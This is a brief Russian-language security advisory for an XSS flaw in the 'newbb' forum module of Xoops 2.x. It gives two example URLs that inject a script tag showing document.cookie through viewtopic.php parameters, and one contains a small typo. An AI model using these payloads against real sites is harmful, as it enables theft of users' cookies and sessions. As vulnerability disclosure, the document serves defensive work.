Программа: Xoops 2.x
Уязвимость обнаружена в Xoops в 'newbb’ модуле. Удаленный пользователь может выполнить XSS нападение.
Пример:
http://[target]/modules/newbb/viewtopic.php? topic_id=14577&forum=2"><;script>alert(document.cookie);
</script>
http://[target]/modules/newbb/viewtopic.php? topic_id=14577"><script>alert(document.cookie);
</script>&forum=2